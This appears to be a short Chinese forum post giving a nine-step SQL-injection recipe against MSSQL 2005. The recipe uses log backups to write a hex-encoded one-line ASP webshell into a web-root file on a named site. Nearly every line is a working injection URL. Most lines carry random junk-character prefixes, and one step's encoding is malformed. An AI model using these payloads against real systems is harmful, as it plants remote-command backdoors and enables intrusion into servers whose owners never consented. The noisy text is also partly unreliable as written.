Mssql2005 Log备份Webshell

admin

第一步
7 f' y# K1 v! V7 E" Dhttp://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]--

第二步：
1 C- O# L. P9 e$ {: A8 d: a+ dhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第三步
6 I( m. H1 q* ~% bhttp://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

第四步
4 @2 @; d8 B. a' L% I/ ~  W8 c- bhttp://itpro.blog.163.com/test.asp';create/**/table/**/[itpro]([a]/**/image)--
! t/ ?' L6 j$ o6 ^. h' a4 s
' K* ]9 D7 r) O9 B( L/ s) f0 \第五步
http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--
2 T& F3 L4 H9 g$ e1 f7 ]5 m
第六步
4 _/ j- n+ g6 v  t8 \* d4 Ehttp://itpro.blog.163.com/test.asp';insert/**/into/**/[itpro]([a])/**/values(0x3C254578656375746528726571756573742822697470726F222929253E)--
1 ~! _2 e7 J9 C) ^$ y' R9 T3 _
, @. s6 V6 f# G9 P, W8 q7 J第七步
& m% E7 m% y" c7 T8 g5 X/ {http://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%0x64003A005C007700770077005C0077007700770072006F006F0074005C0077006F0077005C006C006500660074002E00610073007000/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--

第八步
http://itpro.blog.163.com/test.asp';drop/**/table/**/[itpro]--

第九步
  }4 k  r2 W7 S4 x: zhttp://itpro.blog.163.com/test.asp';declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/log/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init--